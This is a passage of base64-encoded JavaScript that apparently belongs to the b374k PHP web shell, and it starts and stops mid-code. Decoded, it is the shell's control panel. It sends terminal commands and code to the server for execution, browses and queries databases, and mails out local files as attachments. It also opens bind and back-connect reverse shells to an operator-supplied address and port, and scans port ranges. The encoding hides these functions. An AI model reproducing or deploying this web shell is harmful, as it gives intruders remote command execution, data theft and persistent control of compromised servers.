L2kpKSl7CgkJCXBhdGggPSAkLnRyaW0ocGF0aFsxXSk7CgkJCW5hdmlnYXRlKHBhdGgpOwoJCX0KCQllbHNlIGlmKGNtZCE9JycpewoJCQlzZW5kX3Bvc3QoeyB0ZXJtaW5hbElucHV0OiBjbWQgfSwgZnVuY3Rpb24ocmVzKXsKCQkJCWN3ZCA9IGh0bWxfc2FmZShnZXRfY3dkKCkpOwoJCQkJcmVzID0gJzxzcGFuIGNsYXNzPVwnc3Ryb25nXCc+Jytjd2QrJyZndDs8L3NwYW4+JytodG1sX3NhZmUoY21kKSsgJ1xuJyArIHJlcysnXG4nOwoJCQkJJCgnI3Rlcm1pbmFsT3V0cHV0JykuYXBwZW5kKHJlcyk7CgkJCQlib3R0b20gPSAkKGRvY3VtZW50KS5oZWlnaHQoKS0kKHdpbmRvdykuaGVpZ2h0KCk7CgkJCQkkKHdpbmRvdykuc2Nyb2xsVG9wKGJvdHRvbSk7CgkJCX0pOwoJCX0KCQkkKCcjdGVybWluYWxJbnB1dCcpLnZhbCgnJyk7CgkJc2V0VGltZW91dCgiJCgnI3Rlcm1pbmFsSW5wdXQnKS5mb2N1cygpIiwxMDApOwoJfQoJZWxzZSBpZihlLmtleUNvZGU9PTM4KXsKCQlpZih0ZXJtaW5hbEhpc3RvcnlQb3M+MCl7CgkJCXRlcm1pbmFsSGlzdG9yeVBvcy0tOwoJCQkkKCcjdGVybWluYWxJbnB1dCcpLnZhbCh0ZXJtaW5hbEhpc3RvcnlbdGVybWluYWxIaXN0b3J5UG9zXSk7CgkJCWlmKHRlcm1pbmFsSGlzdG9yeVBvczwwKSB0ZXJtaW5hbEhpc3RvcnlQb3MgPSAwOwoJCX0KCX0KCWVsc2UgaWYoZS5rZXlDb2RlPT00MCl7CgkJaWYodGVybWluYWxIaXN0b3J5UG9zPHRlcm1pbmFsSGlzdG9yeS5sZW5ndGgtMSl7CgkJCXRlcm1pbmFsSGlzdG9yeVBvcysrOwoJCQkkKCcjdGVybWluYWxJbnB1dCcpLnZhbCh0ZXJtaW5hbEhpc3RvcnlbdGVybWluYWxIaXN0b3J5UG9zXSk7CgkJCWlmKHRlcm1pbmFsSGlzdG9yeVBvcz50ZXJtaW5hbEhpc3RvcnkubGVuZ3RoKSB0ZXJtaW5hbEhpc3RvcnlQb3MgPSB0ZXJtaW5hbEhpc3RvcnkubGVuZ3RoOwoJCX0KCX0KCWZpeF90YWJjaGFyKHRoaXMsIGUpOwp9KTsKZnVuY3Rpb24gZXZhbF9nbygpewoJZXZhbFR5cGUgPSAkKCcjZXZhbFR5cGUnKS52YWwoKTsKCWV2YWxJbnB1dCA9ICQoJyNldmFsSW5wdXQnKS52YWwoKTsKCWV2YWxPcHRpb25zID0gJCgnI2V2YWxPcHRpb25zJykudmFsKCk7CglldmFsQXJndW1lbnRzID0gJCgnI2V2YWxBcmd1bWVudHMnKS52YWwoKTsKCWlmKGV2YWxPcHRpb25zPT0nT3B0aW9ucy9Td2l0Y2hlcycpIGV2YWxPcHRpb25zID0gJyc7CglpZihldmFsQXJndW1lbnRzPT0nQXJndW1lbnRzJykgZXZhbEFyZ3VtZW50cyA9ICcnOwoJaWYoJC50cmltKGV2YWxJbnB1dCkhPScnKXsKCQlzZW5kX3Bvc3QoeyBldmFsSW5wdXQ6ZXZhbElucHV0LCBldmFsVHlwZTpldmFsVHlwZSwgZXZhbE9wdGlvbnM6ZXZhbE9wdGlvbnMsIGV2YWxBcmd1bWVudHM6ZXZhbEFyZ3VtZW50cyB9LAoJCQlmdW5jdGlvbihyZXMpewoJCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCQlzcGxpdHMgPSByZXMuc3BsaXQoJ3tbfGIzNzRrfF19Jyk7CgkJCQkJaWYoc3BsaXRzLmxlbmd0aD09Mil7CgkJCQkJCW91dHB1dCA9IHNwbGl0c1swXSsiPGhyPiIrc3BsaXRzWzFdOwoJCQkJCQkkKCcjZXZhbE91dHB1dCcpLmh0bWwob3V0cHV0KTsKCQkJCQl9CgkJCQkJZWxzZXsKCQkJCQkJJCgnI2V2YWxPdXRwdXQnKS5odG1sKHJlcyk7CgkJCQkJfQoJCQkJfQoJCQl9CgkJKTsKCX0KfQpmdW5jdGlvbiBldmFsX2luaXQoKXsKCWlmKChldmFsU3VwcG9ydGVkID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2V2YWxTdXBwb3J0ZWQnKSkpewoJCWV2YWxfYmluZCgpOwoJCW91dHB1dCgiZXZhbCA6ICIrZXZhbFN1cHBvcnRlZCk7CgkJZXZhbFJlYWR5ID0gdHJ1ZTsKCX0KCWVsc2V7CgkJc2VuZF9wb3N0KHtldmFsR2V0U3VwcG9ydGVkOiJldmFsR2V0U3VwcG9ydGVkIn0sIGZ1bmN0aW9uKHJlcyl7CgkJCWV2YWxSZWFkeSA9IHRydWU7CgkJCWlmKHJlcyE9ImVycm9yIil7CgkJCQlsb2NhbFN0b3JhZ2Uuc2V0SXRlbSgnZXZhbFN1cHBvcnRlZCcsIHJlcyk7CgkJCQlldmFsU3VwcG9ydGVkID0gcmVzOwoJCQkJZXZhbF9iaW5kKCk7CgkJCQlvdXRwdXQoImV2YWwgOiAiK2V2YWxTdXBwb3J0ZWQpOwoJCQl9CgkJfSk7Cgl9Cn0KZnVuY3Rpb24gZXZhbF9iaW5kKCl7CglpZigoZXZhbFN1cHBvcnRlZCE9bnVsbCkmJihldmFsU3VwcG9ydGVkIT0nJykpewoJCXNwbGl0cyA9IGV2YWxTdXBwb3J0ZWQuc3BsaXQoIiwiKTsKCQkkLmVhY2goc3BsaXRzLCBmdW5jdGlvbihpLCBrKXsKCQkJJCgnI2V2YWxUeXBlJykuYXBwZW5kKCI8b3B0aW9uPiIraysiPC9vcHRpb24+Iik7CgkJfSk7Cgl9CgkkKCcjZXZhbFR5cGUnKS5vbignY2hhbmdlJywgZnVuY3Rpb24oZSl7CgkJaWYoJCgnI2V2YWxUeXBlJykudmFsKCk9PSdwaHAnKXsKCQkJJCgnI2V2YWxBZGRpdGlvbmFsJykuaGlkZSgpOwoJCX0KCQllbHNlewoJCQkkKCcjZXZhbEFkZGl0aW9uYWwnKS5zaG93KCk7CgkJfQoJfSk7CgkkKCcjZXZhbE9wdGlvbnMnKS5vbignZm9jdXMnLCBmdW5jdGlvbihlKXsKCQlvcHRpb25zID0gJCgnI2V2YWxPcHRpb25zJyk7CgkJaWYob3B0aW9ucy52YWwoKT09J09wdGlvbnMvU3dpdGNoZXMnKSBvcHRpb25zLnZhbCgnJyk7Cgl9KTsKCSQoJyNldmFsT3B0aW9ucycpLm9uKCdibHVyJywgZnVuY3Rpb24oZSl7CgkJb3B0aW9ucyA9ICQoJyNldmFsT3B0aW9ucycpOwoJCWlmKCQudHJpbShvcHRpb25zLnZhbCgpKT09JycpIG9wdGlvbnMudmFsKCdPcHRpb25zL1N3aXRjaGVzJyk7Cgl9KTsKCSQoJyNldmFsQXJndW1lbnRzJykub24oJ2ZvY3VzJywgZnVuY3Rpb24oZSl7CgkJYXJncyA9ICQoJyNldmFsQXJndW1lbnRzJyk7CgkJaWYoYXJncy52YWwoKT09J0FyZ3VtZW50cycpIGFyZ3MudmFsKCcnKTsKCX0pOwoJJCgnI2V2YWxBcmd1bWVudHMnKS5vbignYmx1cicsIGZ1bmN0aW9uKGUpewoJCWFyZ3MgPSAkKCcjZXZhbEFyZ3VtZW50cycpOwoJCWlmKCQudHJpbShhcmdzLnZhbCgpKT09JycpIGFyZ3MudmFsKCdBcmd1bWVudHMnKTsKCX0pOwoJJCgnI2V2YWxJbnB1dCcpLm9uKCdrZXlkb3duJywgZnVuY3Rpb24oZSl7CgkJaWYoZS5jdHJsS2V5ICYmIChlLmtleUNvZGUgPT0gMTAgfHwgZS5rZXlDb2RlID09IDEzKSl7CgkJCWV2YWxfZ28oKTsKCQl9CgkJZml4X3RhYmNoYXIodGhpcywgZSk7Cgl9KTsKfQpaZXB0byhmdW5jdGlvbigkKXsKCSQoJyNkZWNvZGVTdHInKS5vbigna2V5ZG93bicsIGZ1bmN0aW9uKGUpewoJCWlmKGUuY3RybEtleSAmJiAoZS5rZXlDb2RlID09IDEwIHx8IGUua2V5Q29kZSA9PSAxMykpewoJCQlkZWNvZGVfZ28oKTsKCQl9CgkJZml4X3RhYmNoYXIodGhpcywgZSk7Cgl9KTsKfSk7CmZ1bmN0aW9uIGRlY29kZV9nbygpewoJZGVjb2RlU3RyID0gJCgnI2RlY29kZVN0cicpLnZhbCgpOwoJc2VuZF9wb3N0KHtkZWNvZGVTdHI6ZGVjb2RlU3RyfSwgZnVuY3Rpb24ocmVzKXsKCQlpZihyZXMhPSdlcnJvcicpewoJCQkkKCcjZGVjb2RlUmVzdWx0JykuaHRtbCgnJyk7CgkJCSQoJyNkZWNvZGVSZXN1bHQnKS5odG1sKHJlcyk7CgkJfQoJfSk7Cn0KWmVwdG8oZnVuY3Rpb24oJCl7CglkYl9pbml0KCk7Cn0pOwp2YXIgZGJTdXBwb3J0ZWQgPSAiIjsKdmFyIGRiUGFnZUxpbWl0ID0gNTA7CmZ1bmN0aW9uIGRiX2luaXQoKXsKCWlmKChkYlN1cHBvcnRlZCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdkYl9zdXBwb3J0ZWQnKSkpewoJCWRiX2JpbmQoKTsKCQlvdXRwdXQoImRiIDogIitkYlN1cHBvcnRlZCk7CgkJZGJfYWRkX3N1cHBvcnRlZCgpOwoJfQoJZWxzZXsKCQlzZW5kX3Bvc3Qoe2RiR2V0U3VwcG9ydGVkOiIifSwgZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzIT0iZXJyb3IiKXsKCQkJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdkYlN1cHBvcnRlZCcsIHJlcyk7CgkJCQlkYlN1cHBvcnRlZCA9IHJlczsKCQkJCWRiX2JpbmQoKTsKCQkJCW91dHB1dCgiZGIgOiAiK2RiU3VwcG9ydGVkKTsKCQkJCWRiX2FkZF9zdXBwb3J0ZWQoKTsKCQkJfQoJCX0pOwoJfQp9CmZ1bmN0aW9uIGRiX2FkZF9zdXBwb3J0ZWQoKXsKCXNwbGl0cyA9IGRiU3VwcG9ydGVkLnNwbGl0KCIsIik7CgkkLmVhY2goc3BsaXRzLCBmdW5jdGlvbihpLCBrKXsKCQkkKCcjZGJUeXBlJykuYXBwZW5kKCI8b3B0aW9uPiIraysiPC9vcHRpb24+Iik7Cgl9KTsKfQpmdW5jdGlvbiBkYl9iaW5kKCl7CgkkKCcjZGJUeXBlJykub24oJ2NoYW5nZScsIGZ1bmN0aW9uKGUpewoJCXR5cGUgPSAkKCcjZGJUeXBlJykudmFsKCk7CgkJaWYoKHR5cGU9PSdvZGJjJyl8fCh0eXBlPT0ncGRvJykpewoJCQkkKCcuZGJIb3N0TGJsJykuaHRtbCgnRFNOIC8gQ29ubmVjdGlvbiBTdHJpbmcnKTsKCQkJJCgnLmRiVXNlclJvdycpLnNob3coKTsKCQkJJCgnLmRiUGFzc1JvdycpLnNob3coKTsKCQkJJCgnLmRiUG9ydFJvdycpLmhpZGUoKTsKCQl9CgkJZWxzZSBpZigodHlwZT09J3NxbGl0ZScpfHwodHlwZT09J3NxbGl0ZTMnKSl7CgkJCSQoJy5kYkhvc3RMYmwnKS5odG1sKCdEQiBGaWxlJyk7CgkJCSQoJy5kYlVzZXJSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlBhc3NSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlBvcnRSb3cnKS5oaWRlKCk7CgkJfQoJCWVsc2V7CgkJCSQoJy5kYkhvc3RMYmwnKS5odG1sKCdIb3N0Jyk7CgkJCSQoJy5kYlVzZXJSb3cnKS5zaG93KCk7CgkJCSQoJy5kYlBhc3NSb3cnKS5zaG93KCk7CgkJCSQoJy5kYlBvcnRSb3cnKS5zaG93KCk7CgkJfQoJfSk7CgkkKCcjZGJRdWVyeScpLm9uKCdmb2N1cycsIGZ1bmN0aW9uKGUpewoJCWlmKCQoJyNkYlF1ZXJ5JykudmFsKCk9PSdZb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQnKXsKCQkJJCgnI2RiUXVlcnknKS52YWwoJycpOwoJCX0KCX0pOwoJJCgnI2RiUXVlcnknKS5vbignYmx1cicsIGZ1bmN0aW9uKGUpewoJCWlmKCQoJyNkYlF1ZXJ5JykudmFsKCk9PScnKXsKCQkJJCgnI2RiUXVlcnknKS52YWwoJ1lvdSBjYW4gYWxzbyBwcmVzcyBjdHJsK2VudGVyIHRvIHN1Ym1pdCcpOwoJCX0KCX0pOwoJJCgnI2RiUXVlcnknKS5vbigna2V5ZG93bicsIGZ1bmN0aW9uKGUpewoJCWlmKGUuY3RybEtleSAmJiAoZS5rZXlDb2RlID09IDEwIHx8IGUua2V5Q29kZSA9PSAxMykpewoJCQlkYl9ydW4oKTsKCQl9Cgl9KTsKfQpmdW5jdGlvbiBkYl9uYXZfYmluZCgpewoJZGJUeXBlID0gJCgnI2RiVHlwZScpLnZhbCgpOwoJJCgnLmJveE5hdicpLm9mZignY2xpY2snKTsKCSQoJy5ib3hOYXYnKS5vbignY2xpY2snLCBmdW5jdGlvbigpewoJCSQodGhpcykubmV4dCgpLnRvZ2dsZSgpOwoJfSk7CgkkKCcuZGJUYWJsZScpLm9mZignY2xpY2snKTsKCSQoJy5kYlRhYmxlJykub24oJ2NsaWNrJywgZnVuY3Rpb24oKXsKCQl0eXBlID0gJCgnI2RiVHlwZScpLnZhbCgpOwoJCXRhYmxlID0gJCh0aGlzKS5odG1sKCk7CgkJZGIgPSAkKHRoaXMpLnBhcmVudCgpLnBhcmVudCgpLnBhcmVudCgpLnByZXYoKS5odG1sKCk7CgkJZGJfcXVlcnlfdGJsKHR5cGUsIGRiLCB0YWJsZSwgMCwgZGJQYWdlTGltaXQpOwoJfSk7Cn0KZnVuY3Rpb24gZGJfY29ubmVjdCgpewoJZGJUeXBlID0gJCgnI2RiVHlwZScpLnZhbCgpOwoJZGJIb3N0ID0gJCgnI2RiSG9zdCcpLnZhbCgpOwoJZGJVc2VyID0gJCgnI2RiVXNlcicpLnZhbCgpOwoJZGJQYXNzID0gJCgnI2RiUGFzcycpLnZhbCgpOwoJZGJQb3J0ID0gJCgnI2RiUG9ydCcpLnZhbCgpOwoJc2VuZF9wb3N0KHtkYlR5cGU6ZGJUeXBlLCBkYkhvc3Q6ZGJIb3N0LCBkYlVzZXI6ZGJVc2VyLCBkYlBhc3M6ZGJQYXNzLCBkYlBvcnQ6ZGJQb3J0fSwgZnVuY3Rpb24ocmVzKXsKCQlpZihyZXMhPSdlcnJvcicpewoJCQkkKCcjZGJOYXYnKS5odG1sKHJlcyk7CgkJCSQoJy5kYkhvc3RSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlVzZXJSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlBhc3NSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlBvcnRSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYkNvbm5lY3RSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlF1ZXJ5Um93Jykuc2hvdygpOwoJCQkkKCcjZGJCb3R0b20nKS5zaG93KCk7CgkJCWRiX25hdl9iaW5kKCk7CgkJfQoJCWVsc2UgJCgnLmRiRXJyb3InKS5odG1sKCdVbmFibGUgdG8gY29ubmVjdCcpOwoJfSk7Cn0KZnVuY3Rpb24gZGJfZGlzY29ubmVjdCgpewoJJCgnLmRiSG9zdFJvdycpLnNob3coKTsKCSQoJy5kYlVzZXJSb3cnKS5zaG93KCk7CgkkKCcuZGJQYXNzUm93Jykuc2hvdygpOwoJJCgnLmRiUG9ydFJvdycpLnNob3coKTsKCSQoJy5kYkNvbm5lY3RSb3cnKS5zaG93KCk7CgkkKCcuZGJRdWVyeVJvdycpLmhpZGUoKTsKCSQoJyNkYk5hdicpLmh0bWwoJycpOwoJJCgnI2RiUmVzdWx0JykuaHRtbCgnJyk7CgkkKCcjZGJCb3R0b20nKS5oaWRlKCk7Cn0KZnVuY3Rpb24gZGJfcnVuKCl7CglkYlR5cGUgPSAkKCcjZGJUeXBlJykudmFsKCk7CglkYkhvc3QgPSAkKCcjZGJIb3N0JykudmFsKCk7CglkYlVzZXIgPSAkKCcjZGJVc2VyJykudmFsKCk7CglkYlBhc3MgPSAkKCcjZGJQYXNzJykudmFsKCk7CglkYlBvcnQgPSAkKCcjZGJQb3J0JykudmFsKCk7CglkYlF1ZXJ5ID0gJCgnI2RiUXVlcnknKS52YWwoKTsKCWlmKChkYlF1ZXJ5IT0nJykmJihkYlF1ZXJ5IT0nWW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0JykpewoJCXNlbmRfcG9zdCh7ZGJUeXBlOmRiVHlwZSwgZGJIb3N0OmRiSG9zdCwgZGJVc2VyOmRiVXNlciwgZGJQYXNzOmRiUGFzcywgZGJQb3J0OmRiUG9ydCwgZGJRdWVyeTpkYlF1ZXJ5fSwgZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCSQoJyNkYlJlc3VsdCcpLmh0bWwocmVzKTsKCQkJCSQoJy50YmxSZXN1bHQnKS5lYWNoKGZ1bmN0aW9uKCl7CgkJCQkJc29ydHRhYmxlLmsodGhpcyk7CgkJCQl9KTsKCQkJfQoJCX0pOwoJfQp9CmZ1bmN0aW9uIGRiX3F1ZXJ5X3RibCh0eXBlLCBkYiwgdGFibGUsIHN0YXJ0LCBsaW1pdCl7CglkYlR5cGUgPSAkKCcjZGJUeXBlJykudmFsKCk7CglkYkhvc3QgPSAkKCcjZGJIb3N0JykudmFsKCk7CglkYlVzZXIgPSAkKCcjZGJVc2VyJykudmFsKCk7CglkYlBhc3MgPSAkKCcjZGJQYXNzJykudmFsKCk7CglkYlBvcnQgPSAkKCcjZGJQb3J0JykudmFsKCk7CglzZW5kX3Bvc3Qoe2RiVHlwZTpkYlR5cGUsIGRiSG9zdDpkYkhvc3QsIGRiVXNlcjpkYlVzZXIsIGRiUGFzczpkYlBhc3MsIGRiUG9ydDpkYlBvcnQsIGRiUXVlcnk6JycsIGRiREI6ZGIsIGRiVGFibGU6dGFibGUsIGRiU3RhcnQ6c3RhcnQsIGRiTGltaXQ6bGltaXR9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCSQoJyNkYlJlc3VsdCcpLmh0bWwocmVzKTsKCQkJJCgnLnRibFJlc3VsdCcpLmVhY2goZnVuY3Rpb24oKXsKCQkJCXNvcnR0YWJsZS5rKHRoaXMpOwoJCQl9KTsKCQl9Cgl9KTsKfQpmdW5jdGlvbiBkYl9wYWdpbmF0aW9uKHR5cGUpewoJZGIgPSAkKCcjZGJEQicpLnZhbCgpOwoJdGFibGUgPSAkKCcjZGJUYWJsZScpLnZhbCgpOwoJc3RhcnQgPSBwYXJzZUludCgkKCcjZGJTdGFydCcpLnZhbCgpKTsKCWxpbWl0ID0gcGFyc2VJbnQoJCgnI2RiTGltaXQnKS52YWwoKSk7CglkYlR5cGUgPSAkKCcjZGJUeXBlJykudmFsKCk7CglpZih0eXBlPT0nbmV4dCcpewoJCXN0YXJ0ID0gc3RhcnQrbGltaXQ7Cgl9CgllbHNlIGlmKHR5cGU9PSdwcmV2Jyl7CgkJc3RhcnQgPSBzdGFydC1saW1pdDsKCQlpZihzdGFydDwwKSBzdGFydCA9IDA7Cgl9CglkYl9xdWVyeV90YmwoZGJUeXBlLCBkYiwgdGFibGUsIHN0YXJ0LCBsaW1pdCk7Cn0KWmVwdG8oZnVuY3Rpb24oJCl7CglpbmZvX2luaXQoKTsKfSk7CmZ1bmN0aW9uIGluZm9faW5pdCgpewoJaWYoKGluZm9SZXN1bHQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnaW5mb1Jlc3VsdCcpKSl7CgkJJCgnLmluZm9SZXN1bHQnKS5odG1sKGluZm9SZXN1bHQpOwoJfQoJZWxzZXsKCQlpbmZvX3JlZnJlc2goKTsKCX0KfQpmdW5jdGlvbiBpbmZvX3RvZ2dsZShpZCl7CgkkKCcjJytpZCkudG9nZ2xlKCk7Cn0KZnVuY3Rpb24gaW5mb19yZWZyZXNoKCl7CglzZW5kX3Bvc3Qoe2luZm9SZWZyZXNoOidpbmZvUmVmcmVzaCd9LCBmdW5jdGlvbihyZXMpewoJCSQoJy5pbmZvUmVzdWx0JykuaHRtbChyZXMpOwoJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdpbmZvUmVzdWx0JywgcmVzKTsKCX0pOwp9ClplcHRvKGZ1bmN0aW9uKCQpewp9KTsKZnVuY3Rpb24gbWFpbF9zZW5kKCl7CgltYWlsRnJvbSA9ICQudHJpbSgkKCcjbWFpbEZyb20nKS52YWwoKSk7CgltYWlsVG8gPSAkLnRyaW0oJCgnI21haWxUbycpLnZhbCgpKTsKCW1haWxTdWJqZWN0ID0gJC50cmltKCQoJyNtYWlsU3ViamVjdCcpLnZhbCgpKTsKCW1haWxDb250ZW50ID0gJCgnI21haWxDb250ZW50JykudmFsKCk7CgltYWlsQXR0YWNobWVudCA9ICcnOwoJaWYoJCgnLm1haWxBdHRhY2htZW50JykpewoJCW1haWxBdHRhY2htZW50ID0gJCgnLm1haWxBdHRhY2htZW50JykubWFwKGZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnZhbHVlOyB9KS5nZXQoKS5qb2luKCd7W3xiMzc0a3xdfScpOwoJfQoJc2VuZF9wb3N0KHttYWlsRnJvbTptYWlsRnJvbSwgbWFpbFRvOm1haWxUbywgbWFpbFN1YmplY3Q6bWFpbFN1YmplY3QsIG1haWxDb250ZW50Om1haWxDb250ZW50LCBtYWlsQXR0YWNobWVudDptYWlsQXR0YWNobWVudH0sIGZ1bmN0aW9uKHJlcyl7CgkJJCgnI21haWxSZXN1bHQnKS5odG1sKHJlcyk7Cgl9KTsKfQpmdW5jdGlvbiBtYWlsX2F0dGFjaCgpewoJY29udGVudCA9ICI8dHI+PHRkPkxvY2FsIGZpbGUgPGEgb25jbGljaz1cIiQodGhpcykucGFyZW50KCkucGFyZW50KCkucmVtb3ZlKCk7XCI+KC0pPC9hPjwvdGQ+PHRkIGNvbHNwYW49JzInPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nbWFpbEF0dGFjaG1lbnQnIHZhbHVlPScnPjwvdGQ+PC90cj4iOwoJJCgnI21haWxUQm9keScpLmFwcGVuZChjb250ZW50KTsKfQpaZXB0byhmdW5jdGlvbigkKXsKCXJzX2luaXQoKTsKfSk7CmZ1bmN0aW9uIHJzX2luaXQoKXsKCWlmKGV2YWxSZWFkeSYmKGV2YWxTdXBwb3J0ZWQhPW51bGwpJiYoZXZhbFN1cHBvcnRlZCE9JycpKXsKCQlzcGxpdHMgPSBldmFsU3VwcG9ydGVkLnNwbGl0KCIsIik7CgkJJC5lYWNoKHNwbGl0cywgZnVuY3Rpb24oaSwgayl7CgkJCSQoJy5yc1R5cGUnKS5hcHBlbmQoIjxvcHRpb24+IitrKyI8L29wdGlvbj4iKTsKCQl9KTsKCX0KCWVsc2Ugc2V0VGltZW91dCgncnNfaW5pdCgpJywgMTAwMCk7CgkkKCcjcGFja2V0Q29udGVudCcpLm9uKCdrZXlkb3duJywgZnVuY3Rpb24oZSl7CgkJaWYoZS5jdHJsS2V5ICYmIChlLmtleUNvZGUgPT0gMTAgfHwgZS5rZXlDb2RlID09IDEzKSl7CgkJCXBhY2tldF9nbygpOwoJCX0KCQlmaXhfdGFiY2hhcih0aGlzLCBlKTsKCX0pOwp9CmZ1bmN0aW9uIHJzX2dvX2JpbmQoKXsKCXJzX2dvKCdiaW5kJyk7Cn0KZnVuY3Rpb24gcnNfZ29fYmFjaygpewoJcnNfZ28oJ2JhY2snKTsKfQpmdW5jdGlvbiByc19nbyhyc1R5cGUpewoJcnNBcmdzID0gIiI7CglpZihyc1R5cGU9PSdiaW5kJyl7CgkJcnNQb3J0ID0gcGFyc2VJbnQoJCgnI2JpbmRQb3J0JykudmFsKCkpOwoJCXJzTGFuZyA9ICQoJyNiaW5kTGFuZycpLnZhbCgpOwoJCXJzQXJncyA9IHJzUG9ydDsKCQlyc1Jlc3VsdCA9ICQoJyNiaW5kUmVzdWx0Jyk7Cgl9CgllbHNlIGlmKHJzVHlwZT09J2JhY2snKXsKCQlyc0FkZHIgPSAkKCcjYmFja0FkZHInKS52YWwoKTsKCQlyc1BvcnQgPSBwYXJzZUludCgkKCcjYmFja1BvcnQnKS52YWwoKSk7CgkJcnNMYW5nID0gJCgnI2JhY2tMYW5nJykudmFsKCk7CgkJcnNBcmdzID0gcnNQb3J0ICsgJyAnICsgcnNBZGRyOwoJCXJzUmVzdWx0ID0gJCgnI2JhY2tSZXN1bHQnKTsKCX0KCWlmKChpc05hTihyc1BvcnQpKXx8KHJzUG9ydDw9MCl8fChyc1BvcnQ+NjU1MzUpKXsKCQlyc1Jlc3VsdC5odG1sKCdJbnZhbGlkIHBvcnQnKTsKCQlyZXR1cm47Cgl9CglpZihyc0FyZ3MhPScnKXsKCQlzZW5kX3Bvc3QoeyByc0xhbmc6cnNMYW5nLCByc0FyZ3M6cnNBcmdzIH0sCgkJCWZ1bmN0aW9uKHJlcyl7CgkJCQlpZihyZXMhPSdlcnJvcicpewoJCQkJCXNwbGl0cyA9IHJlcy5zcGxpdCgne1t8YjM3NGt8XX0nKTsKCQkJCQlpZihzcGxpdHMubGVuZ3RoPT0yKXsKCQkJCQkJb3V0cHV0ID0gc3BsaXRzWzBdKyI8aHI+IitzcGxpdHNbMV07CgkJCQkJCXJzUmVzdWx0Lmh0bWwob3V0cHV0KTsKCQkJCQl9CgkJCQkJZWxzZXsKCQkJCQkJcnNSZXN1bHQuaHRtbChyZXMpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCSk7Cgl9Cn0KZnVuY3Rpb24gcGFja2V0X2dvKCl7CglwYWNrZXRIb3N0ID0gJCgnI3BhY2tldEhvc3QnKS52YWwoKTsKCXBhY2tldFN0YXJ0UG9ydCA9IHBhcnNlSW50KCQoJyNwYWNrZXRTdGFydFBvcnQnKS52YWwoKSk7CglwYWNrZXRFbmRQb3J0ID0gcGFyc2VJbnQoJCgnI3BhY2tldEVuZFBvcnQnKS52YWwoKSk7CglwYWNrZXRUaW1lb3V0ID0gcGFyc2VJbnQoJCgnI3BhY2tldFRpbWVvdXQnKS52YWwoKSk7CglwYWNrZXRTVGltZW91dCA9IHBhcnNlSW50KCQoJyNwYWNrZXRTVGltZW91dCcpLnZhbCgpKTsKCXBhY2tldENvbnRlbnQgPSAkKCcjcGFja2V0Q29udGVudCcpLnZhbCgpOwoJcGFja2V0UmVzdWx0ID0gJCgnI3BhY2tldFJlc3VsdCcpOwoJcGFja2V0U3RhdHVzID0gJCgnI3BhY2tldFN0YXR1cycpOwoJaWYoKGlzTmFOKHBhY2tldFN0YXJ0UG9ydCkpfHwocGFja2V0U3RhcnRQb3J0PD0wKXx8KHBhY2tldFN0YXJ0UG9ydD42NTUzNSkpewoJCXBhY2tldFJlc3VsdC5odG1sKCdJbnZhbGlkIHN0YXJ0IHBvcnQnKTsKCQlyZXR1cm47Cgl9CglpZigoaXNOYU4ocGFja2V0RW5kUG9ydCkpfHwocGFja2V0RW5kUG9ydDw9MCl8fChwYWNrZXRFbmRQb3J0PjY1NTM1KSl7CgkJcGFja2V0UmVzdWx0Lmh0bWwoJ0ludmFsaWQgZW5kIHBvcnQnKTsKCQlyZXR1cm47Cgl9CglpZigoaXNOYU4ocGFja2V0VGltZW91dCkpfHwocGFja2V0VGltZW91dDw9MCkpewoJCXBhY2tldFJlc3VsdC5odG1sKCdJbnZhbGlkIGNvbm5lY3Rpb24gdGltZW91dCcpOwoJCXJldHVybjsKCX0KCWlmKChpc05hTihwYWNrZXRTVGltZW91dCkpfHwocGFja2V0U1RpbWVvdXQ8PTApKXsKCQlwYWNrZXRSZXN1bHQuaHRtbCgnSW52YWxpZCBzdHJlYW0gdGltZW91dCcpOwoJCXJldHVybjsKCX0KCWlmKHBhY2tldFN0YXJ0UG9ydD5wYWNrZXRFbmRQb3J0KXsKCQlzdGFydCA9IHBhY2tldEVuZFBvcnQ7CgkJZW5kID0gcGFja2V0U3RhcnRQb3J0OwoJfQoJZWxzZXsKCQlzdGFydCA9IHBhY2tldFN0YXJ0UG9ydDsKCQllbmQgPSBwYWNrZXRFbmRQb3J0OwoJfQoJcGFja2V0UmVzdWx0Lmh0bWwoJycpOwoJd2hpbGUoc3RhcnQ8PWVuZCl7CgkJcGFja2V0UG9ydCA9IHN0YXJ0Kys7CgkJcGFja2V0UmVzdWx0LmFwcGVuZCgiPGhyPjxkaXY+PHAgY2xhc3M9J2JveHRpdGxlJz5Ib3N0IDogIitodG1sX3NhZmUocGFja2V0SG9zdCkrIjoiK3BhY2tldFBvcnQrIjwvcD48YnI+PGRpdiBpZD0ncGFja2V0IitwYWNrZXRQb3J0KyInIHN0eWxlPSdwYWRkaW5nOjJweCA0cHg7Jz5Xb3JraW5nLi4uIHBsZWFzZSB3YWl0Li4uPC9kaXY+PC9kaXY+Iik7CgkJcGFja2V0X3NlbmQocGFja2V0SG9zdCwgcGFja2V0UG9ydCwgcGFja2V0RW5kUG9ydCwgcGFja2V0VGltZW91dCwgcGFja2V0U1RpbWVvdXQsIHBhY2tldENvbnRlbnQpOwoJfQp9CmZ1bmN0aW9uIHBhY2tldF9zZW5kKHBhY2tldEhvc3QsIHBhY2tldFBvcnQsIHBhY2tldEVuZFBvcnQsIHBhY2tldFRpbWVvdXQsIHBhY2tldFNU